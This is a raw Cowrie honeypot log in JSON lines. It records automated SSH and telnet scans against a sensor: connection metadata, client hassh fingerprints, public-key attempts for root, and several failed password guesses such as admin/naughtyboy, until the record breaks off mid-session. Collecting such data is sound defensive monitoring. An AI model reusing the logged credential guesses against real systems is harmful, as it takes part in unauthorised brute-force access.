{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":34239,"dst_ip":"159.203.135.109","dst_port":22,"session":"9deaa48eb3b7","protocol":"ssh","message":"New connection: 2.57.121.112:34239 (159.203.135.109:22) [session: 9deaa48eb3b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:02.265950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:02.271914Z","src_ip":"2.57.121.112","session":"9deaa48eb3b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:02.376337Z","src_ip":"2.57.121.112","session":"9deaa48eb3b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"naughtyboy","message":"login attempt [admin/naughtyboy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:02.863398Z","src_ip":"2.57.121.112","session":"9deaa48eb3b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nascar20","message":"login attempt [admin/nascar20] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:03.972955Z","src_ip":"2.57.121.112","session":"9deaa48eb3b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nantes","message":"login attempt [admin/nantes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:05.087475Z","src_ip":"2.57.121.112","session":"9deaa48eb3b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nando","message":"login attempt [admin/nando] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:06.194980Z","src_ip":"2.57.121.112","session":"9deaa48eb3b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"namibia","message":"login attempt [admin/namibia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:07.302396Z","src_ip":"2.57.121.112","session":"9deaa48eb3b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:08.409825Z","src_ip":"2.57.121.112","session":"9deaa48eb3b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.209.8.82","src_port":48824,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dd520d58ee9","protocol":"ssh","message":"New connection: 209.209.8.82:48824 (10.17.0.5:22) [session: 0dd520d58ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:14.212923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:14.218015Z","src_ip":"209.209.8.82","session":"0dd520d58ee9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:14.242962Z","src_ip":"209.209.8.82","session":"0dd520d58ee9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:63:7d:90:dc:33:7a:17:d7:65:0a:06:17:5b:fb:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE1ml8MDWqkh1NGdhXXceNp+lxqrQ0NEymlZt+s6zL1RoCmcKEUJ1ObG0+0M8VvHXhdjWxvsYveq8x7aE04YZPPR6lGLiGZ77ODUZa34DGnNiWtJgfYzMD5KHVvRdmsW7wKHCE7gTKke+z0fFo8CzVDacsomLHe7uvUi5cH2sCTxDJoiQSdcHRzyMIQV5N3Srh0qoK4EJ8loYVPYoCvwmM0nsDbdL55uNlozh0W8G0vI73yHQ93tJsuLKGmGaQs5Z2x3+G5H5C2hOVrgsBQJjGD+qoCdVbF99Ts0RmUtOkOCMK6peb7Z+/g9SgGcB4zPM3rMSnhrX/BE8m5V1sI5L5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:63:7d:90:dc:33:7a:17:d7:65:0a:06:17:5b:fb:b3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:14.335958Z","src_ip":"209.209.8.82","session":"0dd520d58ee9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:63:7d:90:dc:33:7a:17:d7:65:0a:06:17:5b:fb:b3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE1ml8MDWqkh1NGdhXXceNp+lxqrQ0NEymlZt+s6zL1RoCmcKEUJ1ObG0+0M8VvHXhdjWxvsYveq8x7aE04YZPPR6lGLiGZ77ODUZa34DGnNiWtJgfYzMD5KHVvRdmsW7wKHCE7gTKke+z0fFo8CzVDacsomLHe7uvUi5cH2sCTxDJoiQSdcHRzyMIQV5N3Srh0qoK4EJ8loYVPYoCvwmM0nsDbdL55uNlozh0W8G0vI73yHQ93tJsuLKGmGaQs5Z2x3+G5H5C2hOVrgsBQJjGD+qoCdVbF99Ts0RmUtOkOCMK6peb7Z+/g9SgGcB4zPM3rMSnhrX/BE8m5V1sI5L5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:14.339609Z","src_ip":"209.209.8.82","session":"0dd520d58ee9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"22:15:70:9a:97:bc:f4:c9:eb:0c:b8:6e:a7:e5:20:f7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILEjv8iRrUacB4Uk1kh1L6dcAiMpwdqjD+HaGkky7i96","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 22:15:70:9a:97:bc:f4:c9:eb:0c:b8:6e:a7:e5:20:f7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:14.362163Z","src_ip":"209.209.8.82","session":"0dd520d58ee9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"22:15:70:9a:97:bc:f4:c9:eb:0c:b8:6e:a7:e5:20:f7","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILEjv8iRrUacB4Uk1kh1L6dcAiMpwdqjD+HaGkky7i96","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:14.364952Z","src_ip":"209.209.8.82","session":"0dd520d58ee9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:69:97:c9:53:fa:04:d8:75:f9:91:b5:6e:39:4b:fb","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAI3AD7vDE53AlM6jDnwJYztqBp+jbyuyngYhVPiku0IiDp3xD0tGHq54fGtHZL4ySWXqSMdJU8QjU7FCRue+2Xcxb1s+SH5t8Ih77aSrUzIDiUBAzkrqF+L0/F129GXalxHe9hSfyzDubNlF4DbW4VQHhO6vECwrLhXVpVmgcEnFAAAAFQClEjejrGdsdhW4nE/j4UjURmRKmwAAAIADiPcN6v4E1+6vHdKUjZ9u1GtP4DHEWCo2TtPLOO1wDvnNog3MgHs/9ULbG/mzSdN8Bh+s3WgDnWE0EqNkLl7kjTNIw11EmOD1KZT8E42ya/THwxqrq43RbY6AdeZCmZRNQxXERiGWWaSghnKK7xfYmKQxHaEcD5GG6NC5FH9/xAAAAIAcEewtlq0LyJ0yCt9RPsq5OgKvz8N3B/5pf06ghhAfmkRwwf88h4sRXm5X0JI26+d9WkdxFmR2g1QzdsrESQ5qG8ncugZWn+bFGf/qOgldQWJPZUvBbGF9F6z9AaM6wDElHTT+dAYtPmCy17UQ4Sn5nSZUvRh4A4j51mOee4dAXw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 49:69:97:c9:53:fa:04:d8:75:f9:91:b5:6e:39:4b:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:14.392035Z","src_ip":"209.209.8.82","session":"0dd520d58ee9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:69:97:c9:53:fa:04:d8:75:f9:91:b5:6e:39:4b:fb","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAI3AD7vDE53AlM6jDnwJYztqBp+jbyuyngYhVPiku0IiDp3xD0tGHq54fGtHZL4ySWXqSMdJU8QjU7FCRue+2Xcxb1s+SH5t8Ih77aSrUzIDiUBAzkrqF+L0/F129GXalxHe9hSfyzDubNlF4DbW4VQHhO6vECwrLhXVpVmgcEnFAAAAFQClEjejrGdsdhW4nE/j4UjURmRKmwAAAIADiPcN6v4E1+6vHdKUjZ9u1GtP4DHEWCo2TtPLOO1wDvnNog3MgHs/9ULbG/mzSdN8Bh+s3WgDnWE0EqNkLl7kjTNIw11EmOD1KZT8E42ya/THwxqrq43RbY6AdeZCmZRNQxXERiGWWaSghnKK7xfYmKQxHaEcD5GG6NC5FH9/xAAAAIAcEewtlq0LyJ0yCt9RPsq5OgKvz8N3B/5pf06ghhAfmkRwwf88h4sRXm5X0JI26+d9WkdxFmR2g1QzdsrESQ5qG8ncugZWn+bFGf/qOgldQWJPZUvBbGF9F6z9AaM6wDElHTT+dAYtPmCy17UQ4Sn5nSZUvRh4A4j51mOee4dAXw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:14.395915Z","src_ip":"209.209.8.82","session":"0dd520d58ee9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:75:73:df:dd:12:31:5a:57:7a:8f:15:7f:1c:2e:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEN5CUBmEbhzFtCFaCs7n+Zn006aKm5E+Id3gbnYJmx3+KIg7Nijqhxn+S2wxi/8LsIgxsQAKS1cMGsMDqvnegpW7NFOA2BT0syY5DQ0/aBcKGNIRlBdqcwiMNk85+jCHhIpcdqnhqnPM4LaE6ypAliwwpxP3TnPPWKtiWIa9gInEatQG+DT0qO75RFvPfKW6kgF3Ppoh5HCu+NuIZpbPVGWEbk4qC37hau2Cai00RNdkVAc2RToa3sZiodCSJO+YdYLCnA0ysC4I8xIjqgJUU96tjrPA+NAxZIpzeaN/Cc7WmOwvolL/DQ3Q6oe3ev7yziJ/NiyJ6BE0ulKo2BTGL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:75:73:df:dd:12:31:5a:57:7a:8f:15:7f:1c:2e:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:14.416386Z","src_ip":"209.209.8.82","session":"0dd520d58ee9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:75:73:df:dd:12:31:5a:57:7a:8f:15:7f:1c:2e:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEN5CUBmEbhzFtCFaCs7n+Zn006aKm5E+Id3gbnYJmx3+KIg7Nijqhxn+S2wxi/8LsIgxsQAKS1cMGsMDqvnegpW7NFOA2BT0syY5DQ0/aBcKGNIRlBdqcwiMNk85+jCHhIpcdqnhqnPM4LaE6ypAliwwpxP3TnPPWKtiWIa9gInEatQG+DT0qO75RFvPfKW6kgF3Ppoh5HCu+NuIZpbPVGWEbk4qC37hau2Cai00RNdkVAc2RToa3sZiodCSJO+YdYLCnA0ysC4I8xIjqgJUU96tjrPA+NAxZIpzeaN/Cc7WmOwvolL/DQ3Q6oe3ev7yziJ/NiyJ6BE0ulKo2BTGL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:14.419763Z","src_ip":"209.209.8.82","session":"0dd520d58ee9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:95:ba:2e:27:6c:3c:5b:cd:c7:cb:5f:94:cf:75:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe3JQYCreFaypRTCBg7yUhDwzMWd29s6lgqTcRKjL5dls4/DsqFq78Nki5Qn9kZ1aQsRVDB1kuBtuHzKdMSPw49gfZs9gCm1jNou7Jo37pbmQRcbbyNhjvhG8dyckDV+q4E8ILBaue1Q9Vjw1Ay9mISzH0Mw0AHOSbWiVxDhKkqzFKmEsBfFl+q2v0Qa3l/ak8/WQS3iLS5Dt8BY6jz9Vzf5tjPXnw+Z/JshzDRsTK82IhCBKusNjjyyRjdORnM9D1BDrPYgEEB6Jll+toNDYy3Gv1ly0e/7DeXpAixrt2a36tEv7BWt94kYyWG0TwzAMum91t1tausuflzRY9yYZf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:95:ba:2e:27:6c:3c:5b:cd:c7:cb:5f:94:cf:75:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:14.469005Z","src_ip":"209.209.8.82","session":"0dd520d58ee9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:95:ba:2e:27:6c:3c:5b:cd:c7:cb:5f:94:cf:75:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCe3JQYCreFaypRTCBg7yUhDwzMWd29s6lgqTcRKjL5dls4/DsqFq78Nki5Qn9kZ1aQsRVDB1kuBtuHzKdMSPw49gfZs9gCm1jNou7Jo37pbmQRcbbyNhjvhG8dyckDV+q4E8ILBaue1Q9Vjw1Ay9mISzH0Mw0AHOSbWiVxDhKkqzFKmEsBfFl+q2v0Qa3l/ak8/WQS3iLS5Dt8BY6jz9Vzf5tjPXnw+Z/JshzDRsTK82IhCBKusNjjyyRjdORnM9D1BDrPYgEEB6Jll+toNDYy3Gv1ly0e/7DeXpAixrt2a36tEv7BWt94kYyWG0TwzAMum91t1tausuflzRY9yYZf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:14.472605Z","src_ip":"209.209.8.82","session":"0dd520d58ee9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:07:14.491691Z","src_ip":"209.209.8.82","session":"0dd520d58ee9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":52770,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e7c40a8b77b","protocol":"ssh","message":"New connection: 103.15.226.202:52770 (10.17.0.5:22) [session: 2e7c40a8b77b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:08:04.524059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:08:04.529029Z","src_ip":"103.15.226.202","session":"2e7c40a8b77b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:08:04.774212Z","src_ip":"103.15.226.202","session":"2e7c40a8b77b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"visapps","password":"visapps","message":"login attempt [visapps/visapps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:08:05.507763Z","src_ip":"103.15.226.202","session":"2e7c40a8b77b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:08:06.755282Z","src_ip":"103.15.226.202","session":"2e7c40a8b77b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"100.31.213.204","src_port":31776,"dst_ip":"10.17.0.5","dst_port":22,"session":"33753a78b6ca","protocol":"ssh","message":"New connection: 100.31.213.204:31776 (10.17.0.5:22) [session: 33753a78b6ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:10:02.911123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:10:04.257691Z","src_ip":"100.31.213.204","session":"33753a78b6ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:10:04.261913Z","src_ip":"100.31.213.204","session":"33753a78b6ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:10:05.177387Z","src_ip":"100.31.213.204","session":"33753a78b6ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.92.193.123","src_port":57290,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2047b0ddea2","protocol":"telnet","message":"New connection: 208.92.193.123:57290 (10.17.0.5:23) [session: d2047b0ddea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:10:33.683674Z"}
{"eventid":"cowrie.session.closed","duration":32.09978723526001,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:11:05.783340Z","src_ip":"208.92.193.123","session":"d2047b0ddea2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":43520,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9f67aa7ea59","protocol":"ssh","message":"New connection: 103.15.226.202:43520 (10.17.0.5:22) [session: a9f67aa7ea59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:11:38.549917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:11:38.553389Z","src_ip":"103.15.226.202","session":"a9f67aa7ea59","protocol":"ssh"}
